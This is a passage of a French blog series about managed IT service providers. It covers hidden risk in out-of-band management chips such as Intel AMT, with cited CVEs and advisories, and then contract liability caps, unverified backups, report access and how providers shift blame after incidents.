la couvre pas. Rien de ce que vous avez installé ne peut vous dire qu\u0026rsquo;une session a eu lieu.\nOù vos contrôles s'arrêtent, et ce qui continue en dessous Une machine, du haut vers le bas Vos applications et vos données Ce que l'entreprise utilise réellement Vos contrôles la voient Protection poste, journalisation, pare-feu hôte C'est la partie que vous payez Vos contrôles sont ça Le système d'exploitation Tout au-dessus tourne dedans Vos contrôles tournent ici Sous cette ligne, rien que vous avez installé ne surveille Firmware et BIOS Mis à jour par le fabricant, sur son calendrier Pas dans votre correction Moteur de gestion, vPro ou un BMC Propre processeur, propre pile réseau, propres ports Répond machine éteinte le trafic de gestion arrive ici Tout ce que vous avez acheté tourne dans le système d\u0026rsquo;exploitation. Les deux couches en dessous non, et rien d\u0026rsquo;installé au-dessus de la ligne ne peut vous dire qu\u0026rsquo;une session a eu lieu. Le dossier de sécurité n\u0026rsquo;est pas rassurant non plus. CVE-2017-5689 a été noté 9,8, et la description vaut d\u0026rsquo;être lue lentement : « an unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs » — un attaquant réseau non privilégié pourrait obtenir des privilèges système sur les SKU de gestion Intel provisionnés. La CISA a émis une alerte et CERT/CC une note de vulnérabilité. Notez ce mot « provisioned » — dormant ce n\u0026rsquo;est pas une voie d\u0026rsquo;entrée, et activé c\u0026rsquo;en est une. Et le firmware qui la porte ne se met pas à jour par la correction normale que vous payez. Il vient du fabricant de la machine, sur son calendrier.\nPuis il y a la partie qui devrait concerner quiconque est responsable de personnel plutôt que de serveurs. Le contrôle d\u0026rsquo;écran au niveau matériel veut dire que quelqu\u0026rsquo;un peut regarder un affichage pendant que le système d\u0026rsquo;exploitation n\u0026rsquo;en a aucune idée. Demandez si l\u0026rsquo;invite de consentement de l\u0026rsquo;utilisateur est imposée et si l\u0026rsquo;indicateur de session visible est activé, parce que les deux sont de la configuration et les deux peuvent être éteints par celui qui l\u0026rsquo;a provisionnée.\nAlors les questions sont courtes. Est-elle provisionnée sur nos machines, et qui l\u0026rsquo;a fait, et quand — était-ce une partie d\u0026rsquo;une construction que personne n\u0026rsquo;a mentionnée ? Quels travaux précis en ont besoin, et combien de machines ont réellement besoin de ces travaux ? Quel réseau peut atteindre les ports de gestion, et est-ce segmenté de tout le reste ? Le consentement est-il imposé, l\u0026rsquo;indicateur est-il activé, et où est la piste d\u0026rsquo;audit ? Et peut-elle être déprovisionnée sur chaque machine qui n\u0026rsquo;en a pas besoin ?\nSi la réponse à la première est « nous ne savons pas », ça vaut d\u0026rsquo;être su en soi, parce que ça veut dire que la capacité est posée là, configurée par quelqu\u0026rsquo;un et surveillée par personne.\nLe risque est entré gratuitement Retournez tout ce chapitre sens dessus dessous et il dit une chose. Chaque capacité dedans est arrivée comme une commodité et a été tarifée comme une. L\u0026rsquo;agent qui corrige mille machines est la chose qui peut poser un fichier sur mille machines. La puce qui épargne un trajet de deux cents miles répond quand la machine est éteinte et ne dit rien à votre journalisation. La commodité a été cotée, détaillée et validée. La capacité est venue dans la même boîte, non tarifée. Elle apparaît sur aucun document qu\u0026rsquo;on vous a jamais montré.\nRien de tout ça n\u0026rsquo;est un argument pour se passer de tout. Les parcs ont besoin d\u0026rsquo;être corrigés, et quelqu\u0026rsquo;un doit pouvoir atteindre une machine morte. C\u0026rsquo;est un argument pour savoir ce qui est dans le bâtiment, qui peut l\u0026rsquo;atteindre, d\u0026rsquo;où, et ce qu\u0026rsquo;il faudrait pour que la personne détenant cette portée soit quelqu\u0026rsquo;un d\u0026rsquo;autre que l\u0026rsquo;entreprise qui la détient actuellement. Une facture ne vous le dira jamais, parce qu\u0026rsquo;une facture est une liste de ce que vous payez. Ce n\u0026rsquo;est pas une liste de ce à quoi vous êtes exposé. Personne dans cet arrangement n\u0026rsquo;a jamais été prié de produire la seconde.\nLa partie trois parle de ce qui se passe quand l\u0026rsquo;un d\u0026rsquo;eux se déclenche. Ce que le contrat promet réellement, qui finit par porter la perte, à quoi ressemblent les excuses, et ce que partir coûte quand vous en avez enfin eu assez.\nIs Your MSP Lying To You — 3 parts\nVotre MSP vous ment-il pour vous vendre des produits premium ? Ce que votre MSP vous a construit, et qui d\u0026#39;autre peut l\u0026#39;atteindreyou are here Quand ça casse, qui le porte vraiment ? Sources Consultées le 28 août 2026.\nFormation et compétences.\nNational Vulnerability Database — nombre de CVE publiées par an, sommé par trimestre : 6 595 en 2015 contre 49 972 en 2025. Le matériel.\nCVE-2018-0141 — mot de passe de compte codé en dur, Cisco Prime Collaboration Provisioning, mars 2018. CVE-2018-15439 — switches Small Business, un compte privilégié activé sans en notifier les administrateurs, novembre 2018. CVE-2023-20101 — Cisco Emergency Responder, identifiants root statiques qui ne peuvent être changés ni supprimés, octobre 2023. Der Spiegel, 29 décembre 2013 — le catalogue ANT, nommant Cisco et Huawei entre autres, à partir des documents Snowden. Der Spiegel, 29 décembre 2013 — à l\u0026rsquo;intérieur de TAO : interdiction, stations de chargement, et ce qui arrive à une expédition détournée. Ars Technica, 14 mai 2014 — le bulletin interne de la NSA de 2010 et les photographies d\u0026rsquo;un routeur Cisco en cours d\u0026rsquo;implantation, publiés dans No Place to Hide de Glenn Greenwald. Cisco, 13 mai 2014 — la réponse de l\u0026rsquo;entreprise, dans ses propres mots. Attorney General de New York, 2019 — le règlement multi-États au sujet d\u0026rsquo;un logiciel de vidéosurveillance vendu à des organismes publics, et la chronologie de 2009 à 2013. Le matériel de périmètre.\nCatalogue des vulnérabilités connues exploitées de la CISA — version 2026.08.27, 1 685 entrées ; les décomptes par fournisseur dans ce billet sont mon propre relevé de ce fichier. CVE-2024-3400, CVE-2024-0012 — PAN-OS, GlobalProtect et l\u0026rsquo;interface web de gestion. CVE-2022-40684, CVE-2018-13379 — contournement d\u0026rsquo;authentification FortiOS et traversée de chemin du VPN SSL. CVE-2023-20198, CVE-2025-20333, CVE-2026-20316 — interface web Cisco IOS XE, le serveur web VPN de l\u0026rsquo;ASA, et un mot de passe codé en dur dans Secure Firewall Management Center. CISA, Implementing Phishing-Resistant MFA — le classement des formes de MFA, de la plus forte à la plus faible. KrebsOnSecurity, juillet 2018 — Google sur ses plus de 85 000 employés et aucun hameçonnage réussi après avoir imposé des clés de sécurité physiques. Avis conjoint AA23-320A — Scattered Spider, et son ciblage des services d\u0026rsquo;assistance informatique sous contrat. Aperçu de Windows LAPS — un mot de passe administrateur local différent par machine, renouvelé et sauvegardé dans votre propre Active Directory ou location Entra ; gratuit sur chaque version supportée de Windows. Quand ça tourne mal.\nICO, mars 2025 — Advanced Computer Software Group amendé de 3,07 millions de livres, la première pénalité du régulateur contre un sous-traitant de données. La page d\u0026rsquo;exécution porte le détail. ICO, octobre 2025 — Capita amendé de 14 millions de livres au sujet de la violation de 2023 : l\u0026rsquo;alerte de dix minutes, la réponse de 58 heures contre un objectif d\u0026rsquo;une heure, et le Security Operations Centre en sous-effectif. Law Society Gazette, 28 novembre 2023 — environ 80 études de transactions immobilières incapables de conclure des transactions après la chute de leur prestataire informatique. La CISA et le FBI sur l\u0026rsquo;attaque Kaseya VSA, juillet 2021 — rançongiciel contre les prestataires de services gérés et leurs clients en aval. Avis conjoint AA23-025A, 25 janvier 2023 — la CISA, la NSA et le MS-ISAC sur l\u0026rsquo;usage malveillant de logiciels RMM légitimes. CVE-2024-1709 — contournement d\u0026rsquo;authentification ConnectWise ScreenConnect, CVSS 10,0, février 2024. Avis CISA AA25-163A, juin 2025 et CVE-2024-57727 — des acteurs de rançongiciel atteignant des clients en aval par un SimpleHelp RMM non corrigé. Avis conjoint AA22-131A, 11 mai 2022 — les agences britannique, australienne, canadienne, néo-zélandaise et américaine sur les menaces pesant sur les prestataires de services gérés et leurs clients. ","permalink":"https://blogs.damiendye.uk/fr/random/is-your-msp-lying-to-you-part2/","summary":"Partie 2 sur 3. Ce qui se construit réellement une fois la paperasse signée : du cloud pour une entreprise à un seul bâtiment, la boîte dont on ne les dissuadera pas, les bases qui étaient la chose que vous avez achetée, et l\u0026rsquo;agent sur chaque machine qui répond à la console de quelqu\u0026rsquo;un d\u0026rsquo;autre.","title":"Ce que votre MSP vous a construit, et qui d'autre peut l'atteindre"},{"content":" Is Your MSP Lying To You — 3 parts\nVotre MSP vous ment-il pour vous vendre des produits premium ? Ce que votre MSP vous a construit, et qui d\u0026#39;autre peut l\u0026#39;atteindre Quand ça casse, qui le porte vraiment ?you are here La partie un parlait de comment la liste s\u0026rsquo;écrit. La partie deux parlait de ce qui a été construit dessus. Cette partie est le matin où ça cesse de marcher, et tout ce qui en découle.\nQui est contractuellement redevable, et à hauteur de combien. Ce qui se dit dans la pièce quand la réponse est personne. Ce qu\u0026rsquo;un prestataire qui vaut d\u0026rsquo;être gardé fait à la place. Et ce qu\u0026rsquo;il faut pour en quitter un qui n\u0026rsquo;en vaut pas la peine, ce qui se révèle être la partie que personne ne prévoit jusqu\u0026rsquo;à en avoir besoin cette semaine-là.\nQu\u0026rsquo;est-ce que le premium a réellement acheté La preuve est dans la partie deux et je ne vais pas vous la refaire parcourir. Tenez pour acquis que l\u0026rsquo;option chère n\u0026rsquo;a pas acheté de compétence, n\u0026rsquo;a pas fini les bases, et ne vous a pas obtenu une boîte plus dure à pénétrer.\nAlors à quoi l\u0026rsquo;argent est-il attaché ?\nPas au silicium, qui devient moins cher chaque année. Pas aux adresses. Pas aux heures d\u0026rsquo;ingénierie, dans un secteur qui a coupé sa dépense de formation de près d\u0026rsquo;un tiers en deux ans. Le premium est attaché au canal — un fournisseur assez grand pour faire tourner des paliers, des rabais, l\u0026rsquo;enregistrement d\u0026rsquo;affaires et un réseau de distribution, ce qui veut dire une file de gens qui sont tous payés avant que rien ne soit construit, et chacun d\u0026rsquo;eux sur votre facture.\nC\u0026rsquo;est la moitié du vendeur, et à elle seule elle n\u0026rsquo;explique pas grand-chose. Plein d\u0026rsquo;acheteurs sont parfaitement capables et signent quand même. Alors voici l\u0026rsquo;autre moitié, et c\u0026rsquo;est la plus inconfortable.\nLe premium achète une couverture. Pas pour l\u0026rsquo;entreprise. Pour la personne qui signe.\nMettre le logo bien connu est défendable d\u0026rsquo;une façon que choisir l\u0026rsquo;ouvert ne l\u0026rsquo;est jamais. Si le pare-feu leader du marché est piraté, celui de tout le monde l\u0026rsquo;a été aussi, et vous avez eu de la malchance. Si la chose que vous avez assemblée vous-même est piratée, vous l\u0026rsquo;avez choisie, et on vous demandera pourquoi. Le résultat pour l\u0026rsquo;entreprise est le même. La conséquence pour l\u0026rsquo;individu ne l\u0026rsquo;est pas, et chaque acheteur au-dessus d\u0026rsquo;un certain grade le comprend sans que personne ait à le dire tout haut.\nÀ ce titre, le cercle se ferme. Le vendeur est payé plus pour recommander l\u0026rsquo;option chère. L\u0026rsquo;acheteur est personnellement plus en sécurité en l\u0026rsquo;acceptant. Aucun des deux n\u0026rsquo;agit contre son propre intérêt à aucun moment — et la seule partie qui porte le coût de cet arrangement est l\u0026rsquo;entreprise pour laquelle ils travaillent tous les deux.\nC\u0026rsquo;est la réponse à la question par laquelle cette série a commencé, et c\u0026rsquo;est pire que mentir. Un menteur sait quelle est la vérité. Cet arrangement n\u0026rsquo;a besoin que personne ne la sache. Il a juste besoin que la liste continue de sortir de la même façon, et c\u0026rsquo;est le cas.\nLes rapports que vous n\u0026rsquo;obtenez jamais Chaque ligne récurrente d\u0026rsquo;une facture de service géré devrait produire un document. La plupart ne produisent rien, et presque personne ne demande.\nPrenez la correction de l\u0026rsquo;infrastructure, la ligne qui siège au-dessus de celle du poste de travail. La façon honnête de mettre à jour un parc est un playbook — Ansible ou quoi que ce soit d\u0026rsquo;autre — gardé quelque part où vous pouvez le voir, lancé sur un calendrier, laissant une sortie derrière. Alors demandez à voir le playbook, et demandez à voir le journal d\u0026rsquo;exécution. Sur bien des contrats ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;existe. Les mises à jour sont manuelles quand elles arrivent, elles arrivent quand quelqu\u0026rsquo;un s\u0026rsquo;en souvient, et la ligne est facturée chaque mois de toute façon. Ce qu\u0026rsquo;on vous a vendu comme de l\u0026rsquo;automatisation est une note dans un agenda.\nCe que chaque ligne de la facture devrait produire SUR LA FACTURE LE DOCUMENT QUI LE PROUVE CE QUI ARRIVE EN GÉNÉRAL Correction Le playbook, et son journal d'exécution gardé où vous le lisez, lancé sur un calendrier Un pourcentage de conformité Sauvegarde Un test de restauration, daté ce qui est revenu, sur quoi, en combien, qui l'a vérifié Un rapport plein de coches vertes Surveillance Les alertes, envoyées à vous aussi droit du système, sur un calendrier, sans retouche Un tableau de bord, soigné chaque mois Documentation Des relevés dans vos propres systèmes votre IPAM, votre base d'actifs, votre wiki Un export, sur leur calendrier Une sauvegarde que personne n'a restaurée n'est pas une sauvegarde. C'est une hypothèse à son sujet. Demandez le test de restauration le plus récent. La réponse, ou la pause avant, est toute la revue. Chaque ligne récurrente devrait laisser un document derrière. La plupart laissent un pourcentage, une coche verte, ou rien du tout. Puis les sauvegardes. C\u0026rsquo;est la pire d\u0026rsquo;entre elles, parce que c\u0026rsquo;est la ligne à laquelle les gens croient le plus.\nVous obtiendrez un rapport de sauvegarde. Coches vertes, travaux terminés, octets écrits, tout ça arrivant chaque semaine et rien n\u0026rsquo;étant lu. Ce rapport n\u0026rsquo;est pas celui qui compte. Une sauvegarde que personne n\u0026rsquo;a restaurée n\u0026rsquo;est pas une sauvegarde. C\u0026rsquo;est une hypothèse au sujet d\u0026rsquo;une sauvegarde.\nLe document que vous voulez est un test de restauration. Ce qui a été restauré, sur quel matériel, combien de temps ça a pris de bout en bout, et qui a ouvert les données ensuite et confirmé que c\u0026rsquo;étaient les données. Demandez le plus récent.\nPuis demandez la même chose de nouveau au sujet de la copie hors ligne, parce que c\u0026rsquo;est une affirmation distincte et il lui faut une preuve distincte. Tout le monde dit en tenir une. Demandez-leur de vous la montrer — le support, où il vit, la date de dernière écriture, qui a les identifiants — et demandez quand une restauration a été effectuée pour la dernière fois depuis cette copie plutôt que depuis le système de sauvegarde en direct. Ce sont des supports différents dans des formats différents, et tester l\u0026rsquo;un ne prouve rien du tout sur l\u0026rsquo;autre. La copie hors ligne est celle qui survit à une mauvaise semaine, et c\u0026rsquo;est celle qui a le moins de chances d\u0026rsquo;avoir jamais été relue. Demandez à quelle fréquence elles sont faites, et contre quels systèmes, et si quelqu\u0026rsquo;un de votre côté a jamais vu le résultat. Sur beaucoup de contrats ça n\u0026rsquo;a jamais été fait du tout, parce que le faire coûte une journée du temps de quelqu\u0026rsquo;un et personne ne la facture.\nIl y a une question préalable à tout ça, et elle décide si le reste veut dire quoi que ce soit. Ces rapports vous parviennent-ils, ou seulement à eux ?\nLa plupart du temps l\u0026rsquo;outillage les génère, ils atterrissent dans la boîte de réception du prestataire, quelqu\u0026rsquo;un les lit s\u0026rsquo;il y a le temps, et on vous prévient quand il y a un problème. Ce n\u0026rsquo;est pas de la responsabilité. C\u0026rsquo;est de l\u0026rsquo;auto-évaluation avec une facture attachée, et ça vous demande de les croire sur parole sur la chose exacte que vous les payez pour faire.\nAlors demandez que les rapports vous parviennent aussi. Directement du système, sur un calendrier, sous la forme que l\u0026rsquo;outillage crache — pas une diapositive assemblée par la personne mesurée, et pas un tableau de bord vert soigné pour la réunion mensuelle. Les réussites de sauvegarde et, plus important, les échecs. L\u0026rsquo;exécution des correctifs et ce qu\u0026rsquo;elle a sauté. Les volumes d\u0026rsquo;alertes et les temps de réponse contre l\u0026rsquo;objectif. Le test de restauration quand il arrive, et la liste des exceptions telle qu\u0026rsquo;elle est.\nVous n\u0026rsquo;avez pas à tous les lire. Vous devez pouvoir, et ils doivent savoir que vous le pouvez. C\u0026rsquo;est tout le mécanisme, et c\u0026rsquo;est la différence entre faire confiance à quelqu\u0026rsquo;un et être en position de vérifier.\nEt si ça se révèle difficile, demandez pourquoi. Chaque rapport de cette liste existe déjà et est déjà envoyé quelque part. Ajouter un second destinataire est une ligne dans une liste de distribution, pas un projet. La réticence ici n\u0026rsquo;est pas un problème technique, et elle vaut plus que la réponse n\u0026rsquo;aurait valu.\nIl y a une version plus grande de la même question, et c\u0026rsquo;est celle qui décide si vous pouvez jamais vérifier quoi que ce soit vous-même. Où vit la documentation ?\nDemandez s\u0026rsquo;ils enregistreront votre parc dans vos systèmes — votre IPAM, votre base d\u0026rsquo;actifs, votre wiki — ou dans les leurs. La plupart diront les leurs, et ce sera présenté comme de l\u0026rsquo;efficacité. Leur outillage, leurs gabarits, leur processus, rien à faire tourner pour vous.\nRegardez ce que cet arrangement fait. Le plan d\u0026rsquo;adressage, le schéma réseau, le registre d\u0026rsquo;actifs, les runbooks et les clés de licence sont tous des relevés de votre entreprise, créés avec votre argent, décrivant du matériel que vous possédez. Détenus quelque part où vous ne pouvez pas les voir. Vous ne pouvez pas auditer ce que vous ne pouvez pas lire, donc vous n\u0026rsquo;avez aucun moyen de savoir si la documentation correspond au parc — et la documentation dérive de la réalité constamment, ce qui est normal et pardonnable, mais une dérive invisible est comment vous le découvrez pendant un incident au lieu de pendant une revue.\nPuis il y a ce qui se passe à la fin, sur quoi la section sur le départ revient. Une documentation dans vos propres systèmes est déjà vôtre, déjà à jour, déjà dans un format que vous utilisez. Une documentation dans les leurs est un export, sur leur calendrier, sous la forme que leur outil offre, en général un PDF de quelque chose qui était une base de données.\nAlors posez la question platement, et demandez un accès en lecture aujourd\u0026rsquo;hui plutôt qu\u0026rsquo;en principe. Un prestataire travaillant dans vos systèmes a pris une décision qui leur coûte un peu et vous donne beaucoup, et il vous le dira. Un qui insiste pour garder l\u0026rsquo;image dans son propre outillage a pris la décision opposée, et il vaut de demander quelle partie de ça il a trouvée attirante.\nCet écart n\u0026rsquo;est pas académique. Chaque incident de la partie deux atterrit dessus. Les clients de Kaseya, les quatre-vingts études de transactions, les régimes de retraite derrière Capita — pour chacun d\u0026rsquo;eux la seule question qui comptait le jour même était de savoir si la restauration marchait. C\u0026rsquo;est là qu\u0026rsquo;un rapport que personne n\u0026rsquo;a demandé devient le seul document du bâtiment qui vaille d\u0026rsquo;être eu.\nSi votre prestataire ne peut pas produire un test de restauration, vous n\u0026rsquo;achetez pas de la sauvegarde. Vous achetez de la copie, et vous découvrirez laquelle le pire matin de l\u0026rsquo;année.\nPersonne n\u0026rsquo;est redevable Acheter un endroit où mettre le blâme mérite plus que la clause qu\u0026rsquo;il a eue en partie un, parce que la responsabilité est la chose que tout cet arrangement est bâti pour contourner. Pas moralement. Contractuellement.\nCommencez par l\u0026rsquo;accord de niveau de service, et lisez ce qu\u0026rsquo;il promet réellement. Presque toujours c\u0026rsquo;est un temps de réponse. Quatre heures pour accuser réception, huit pour intervenir, ce genre de chose. Répondre est entièrement sous leur contrôle, donc ça peut se promettre sans risque. Réparer ne l\u0026rsquo;est pas, donc ce ne l\u0026rsquo;est pas. Cherchez une ligne qui les engage à un résultat — le service marche, les données reviennent, le site commerce — et sur la plupart des contrats il n\u0026rsquo;y en a nulle part.\nPuis trouvez le plafond de responsabilité. Il sera là, et c\u0026rsquo;est en général les honoraires que vous avez payés sur les douze mois précédents, parfois moins. Donc la pire chose qui puisse leur arriver est de rembourser ce que vous leur avez déjà donné. La pire chose qui puisse vous arriver est l\u0026rsquo;entreprise. Ces deux chiffres ne sont pas dans le même univers, et l\u0026rsquo;écart entre eux est la position de risque réelle dans laquelle vous êtes.\nCe que l'accord promet, et ce que chaque côté risque de perdre Ce à quoi l'accord les engage réellement Accuser réception du défaut sous quatre heures Promis Intervenir sous huit heures Promis Le service remarche, les données reviennent, le site commerce Pas promis Et ce que chaque côté perd le pire jour Eux plafonné à environ douze mois des honoraires déjà payés Vous les commandes, la paie, les clients, l'entreprise Répondre est à l\u0026rsquo;intérieur de leur contrôle, donc c\u0026rsquo;est promis. Réparer ne l\u0026rsquo;est pas, donc ce ne l\u0026rsquo;est pas. Les deux barres sont le même contrat, vu de chaque bout. La revente déplace le reste en amont. Si l\u0026rsquo;hyperscaler est en panne c\u0026rsquo;est la faute de l\u0026rsquo;hyperscaler. Si le pare-feu sort un dix c\u0026rsquo;est la faute du fournisseur. Si un installateur trojanisé arrive signé et livré comme une mise à jour ordinaire, c\u0026rsquo;est le fournisseur aussi. Chacun de ceux-là est vrai, et aucun ne vous est d\u0026rsquo;aucune utilité, parce que vous n\u0026rsquo;avez jamais eu de relation avec aucune de ces entreprises. Vous en aviez une avec l\u0026rsquo;entreprise qui les a choisies pour votre compte et a pris un rabais pour ça.\nEt sous tout ça siège le mécanisme le plus silencieux du lot. Vous ne pouvez pas manquer de livrer un besoin qui n\u0026rsquo;a jamais été couché sur le papier. Le document de besoins que personne n\u0026rsquo;a écrit en partie un n\u0026rsquo;est pas seulement de la négligence — c\u0026rsquo;est une protection. Pas de besoin capturé, pas de promesse mesurable. Pas de promesse mesurable, pas de manquement. On ne peut pas s\u0026rsquo;écarter d\u0026rsquo;une conception que personne n\u0026rsquo;a validée.\nRegardez ce qui s\u0026rsquo;est passé quand la responsabilité est enfin arrivée quelque part. Capita a été amendé de 14 millions de livres, et c\u0026rsquo;est venu de l\u0026rsquo;Information Commissioner sous le droit de la protection des données, au sujet d\u0026rsquo;une alerte que personne n\u0026rsquo;a traitée pendant cinquante-huit heures. Pas d\u0026rsquo;un client, et pas sous un contrat de service. L\u0026rsquo;argent est allé à l\u0026rsquo;État. Les 6,6 millions de personnes dont les données sont sorties par la porte, et les 325 régimes de retraite portant les conséquences, n\u0026rsquo;étaient pas ceux qui l\u0026rsquo;ont apporté et n\u0026rsquo;étaient pas ceux qui ont été payés.\nDonc l\u0026rsquo;arrangement, de bout en bout. Le fournisseur vend un produit sous une licence déclinant l\u0026rsquo;aptitude à quoi que ce soit en particulier. Le prestataire vend des heures contre une responsabilité plafonnée et une promesse de temps de réponse. L\u0026rsquo;assureur tarife ce qui reste. Et la perte se pose sur l\u0026rsquo;entreprise qui ne peut pas bouger, qui est la seule partie de la chaîne qui n\u0026rsquo;a jamais pu décliner quoi que ce soit.\nChacun de la chaîne décline sa part, et tout atterrit au même endroit Chaque couche passe la conséquence plus bas et garde sa marge Le fournisseur La licence décline toute aptitude Le distributeur Déplace le produit, prend une part Le prestataire Heures vendues contre une responsabilité plafonnée L'assureur Tarife ce qui reste L'entreprise qui doit ouvrir les portes le lundi Fabrique quelque chose, emploie des gens, ne peut bouger vite et est la seule partie de la chaîne qui ne peut rien décliner Chaque couche au-dessus est légalement à l'abri. La perte doit quand même se poser quelque part. Chaque couche est légalement à l\u0026rsquo;abri, et chacune est payée avant que rien ne soit construit. La conséquence continue de voyager jusqu\u0026rsquo;à atteindre quelqu\u0026rsquo;un qui ne peut pas la refiler. Il y a un test plus simple dans tout ça, et il n\u0026rsquo;a besoin d\u0026rsquo;aucun avocat.\nSi une entreprise croit en ce qu\u0026rsquo;elle a recommandé, elle devrait être prête à se tenir derrière. C\u0026rsquo;est ce qu\u0026rsquo;est une recommandation. Vous n\u0026rsquo;avez pas acheté la boîte — n\u0026rsquo;importe qui avec un site web peut vous vendre une boîte. Vous avez acheté le jugement de quelqu\u0026rsquo;un que c\u0026rsquo;était la bonne boîte pour vous, et il a été payé pour ce jugement, et payé de nouveau par le fournisseur dont c\u0026rsquo;était la boîte, il s\u0026rsquo;est avéré.\nDonc quand ça échoue et que la réponse revient que le fournisseur a laissé tout le monde tomber, regardez ce qui vient de se passer. La partie que vous avez réellement achetée a été déclinée. Le jugement s\u0026rsquo;évapore à l\u0026rsquo;instant exact où il est mis à l\u0026rsquo;épreuve, et ce qui reste est une entreprise qui a fait passer un produit et pris une marge au passage.\nPersonne ne demande à un MSP de garantir Microsoft. Mais il y a un large écart entre garantir un hyperscaler et se tenir derrière son propre conseil, et tout autre métier vit quelque part dedans. Un électricien qui pose un tableau électrique ne peut pas blâmer le fabricant de l\u0026rsquo;avoir choisi. Un ingénieur structure qui spécifie une poutre possède la spécification. Ils portent leur jugement, parce que le jugement était le service.\nAlors demandez ce que votre prestataire est prêt à porter. Pas le produit du fournisseur — sa propre recommandation. La réponse, ou la longueur de la pause avant, vous dit ce qu\u0026rsquo;il en pense en privé.\nEt puis c\u0026rsquo;est votre faute Le contrat est la moitié silencieuse de ceci. La moitié bruyante se présente le jour où quelque chose casse réellement, et elle y arrive avant le correctif.\nRegardez dans quel sens la responsabilité voyage. Vers l\u0026rsquo;extérieur, dans toutes les directions disponibles, et à peu près dans cet ordre. Le fournisseur a livré un mauvais correctif. Le circuit était celui de l\u0026rsquo;opérateur. C\u0026rsquo;est un problème connu et tout le monde le voit. Personne n\u0026rsquo;aurait pu le prévoir, dit à propos d\u0026rsquo;un défaut qui était sur la liste exploitée assez longtemps pour avoir poussé une barbe. Le prestataire précédent l\u0026rsquo;a laissé comme ça, ce qui est une réponse juste pendant six mois et est encore donnée en troisième année. Puis les directions vers l\u0026rsquo;extérieur s\u0026rsquo;épuisent, et il en reste une. Vous n\u0026rsquo;avez jamais approuvé la mise à niveau. C\u0026rsquo;était hors périmètre, votre personnel a cliqué le lien, et vous n\u0026rsquo;avez jamais ouvert de ticket.\nVoici le morceau inconfortable. Certaines de celles-là sont vraies. Un client qui a refusé le même remplacement trois années de suite possède bien cette décision, et un prestataire qui le dit est franc avec vous. Donc la question n\u0026rsquo;est pas de savoir si l\u0026rsquo;excuse est exacte. C\u0026rsquo;est quand elle a été dite pour la première fois. Un risque qui vous est présenté par écrit avant la panne, avec ce qu\u0026rsquo;il coûterait de le corriger et ce qu\u0026rsquo;il coûterait de ne pas le faire, est un prestataire qui gère votre parc. La même phrase envoyée la semaine d\u0026rsquo;après est une défense en cours d\u0026rsquo;assemblage. Mêmes mots, date différente, sens opposé.\n« Vous n\u0026rsquo;avez jamais ouvert de ticket » est celle sur laquelle s\u0026rsquo;arrêter, parce que ce n\u0026rsquo;est pas du tout une excuse. C\u0026rsquo;est le modèle d\u0026rsquo;exploitation dit tout haut. Rien n\u0026rsquo;est le travail de personne jusqu\u0026rsquo;à ce que vous le remarquiez, ce qui fait de vous la surveillance, et vous payez des frais mensuels à une entreprise dont la couche de détection est un client qui appelle. Une fois que vous avez entendu cette réponse une fois, vous savez ce qu\u0026rsquo;est le service.\nIl y a une version plus active de ceci, et elle marche bien mieux qu\u0026rsquo;elle ne devrait. Vous convoquez une revue pour demander pourquoi les six derniers mois se sont passés comme ils l\u0026rsquo;ont fait, et l\u0026rsquo;ordre du jour qui revient porte sur tout autre chose : une affaire de sécurité urgente, une échéance de licence que personne n\u0026rsquo;avait mentionnée, un avis de fin de vie sur une boîte qui est en fin de vie depuis deux ans et est soudain devenue pressante cette quinzaine. C\u0026rsquo;est présenté avec une vraie inquiétude et un devis attaché, et ça mange l\u0026rsquo;heure. Vous partez ayant accepté de dépenser de l\u0026rsquo;argent, et la chose pour laquelle vous avez convoqué la réunion n\u0026rsquo;a jamais été dite tout haut du tout.\nRemarquez ce que la crise fabriquée a toujours en commun. Elle a besoin d\u0026rsquo;un achat, elle en a besoin ce trimestre, et elle exige que personne dans la pièce n\u0026rsquo;admette rien. La vraie urgence a une autre allure, parce qu\u0026rsquo;elle vient avec un identifiant, une date de publication, les machines précises de votre parc qui l\u0026rsquo;ont, et ce qu\u0026rsquo;ils ont déjà fait à son sujet en attendant de vous le dire. La sorte inventée arrive comme une échéance de fournisseur et un chiffre rond. Demandez quand elle est apparue pour la première fois sur leur radar. Si la réponse est la même semaine où vous avez commencé à poser des questions gênantes, ce n\u0026rsquo;est pas une coïncidence et ce n\u0026rsquo;a jamais été censé en être une.\nAlors gardez votre propre dossier, et commencez-le avant d\u0026rsquo;en avoir besoin. Chaque fois qu\u0026rsquo;on vous dit qu\u0026rsquo;une chose va bien, demandez ça dans un courriel. Chaque fois que vous refusez quelque chose, notez ce qu\u0026rsquo;on vous a montré et à combien c\u0026rsquo;était coté. Ça prend une minute et ça veut dire que le jour où ça devient votre faute, vous pouvez demander la date, et la réponse existe ou n\u0026rsquo;existe pas. Une entreprise qui fait ce métier correctement y arrive la première de toute façon. Elle ouvre par nous avons manqué ceci, voici ce que nous changeons, et elle le dit avant que vous ayez fini de demander. Ça leur coûte une phrase, ce qui est précisément pourquoi si peu d\u0026rsquo;entre elles la dépenseront.\nEt quand vous avez la crise inventée, ou que le blâme atterrit sur vous pour quelque chose que personne ne vous a jamais présenté, dites-le dans la pièce. Pas comme une plainte après coup et pas comme une note pour le dossier. Demandez-leur s\u0026rsquo;ils considèrent ça professionnel, si c\u0026rsquo;est la réponse qu\u0026rsquo;ils accepteraient si elle leur était donnée, et où est l\u0026rsquo;intégrité dedans. Quelqu\u0026rsquo;un sera mal à l\u0026rsquo;aise, et c\u0026rsquo;est tout le but de demander. Une entreprise avec un peu d\u0026rsquo;amour-propre restant l\u0026rsquo;encaisse, dit c\u0026rsquo;est juste, et revient différente le mois d\u0026rsquo;après. Vous saurez en une minute quelle sorte est assise en face de vous.\nPuis mettez-vous à chercher de toute façon. Cette semaine-là. Une mauvaise réunion ne décide pas, mais l\u0026rsquo;esquive n\u0026rsquo;a jamais été une mauvaise journée. C\u0026rsquo;était une décision à votre sujet : que gérer ce que vous ressentez est moins cher que réparer ce que vous avez acheté, et que vous le supporterez. Les entreprises ne défont pas ce calcul parce qu\u0026rsquo;un client a fait la grimace. Remplacer un prestataire correctement prend des mois que vous n\u0026rsquo;avez pas commencé à dépenser, et le moment de le faire est tant que vous êtes encore assez calme pour bien choisir, plutôt que dans la quinzaine après la panne qui finit par décider à votre place.\nPosez celles-ci à la prochaine réunion Rien de tout ça ne vous coûte quoi que ce soit, et vous n\u0026rsquo;avez pas besoin d\u0026rsquo;être ingénieur pour en poser aucune.\nJ\u0026rsquo;ai mis les questions dans un tableur plutôt qu\u0026rsquo;au fil de la page — 120 d\u0026rsquo;entre elles à travers quinze domaines, chacune avec ce à quoi ressemble une 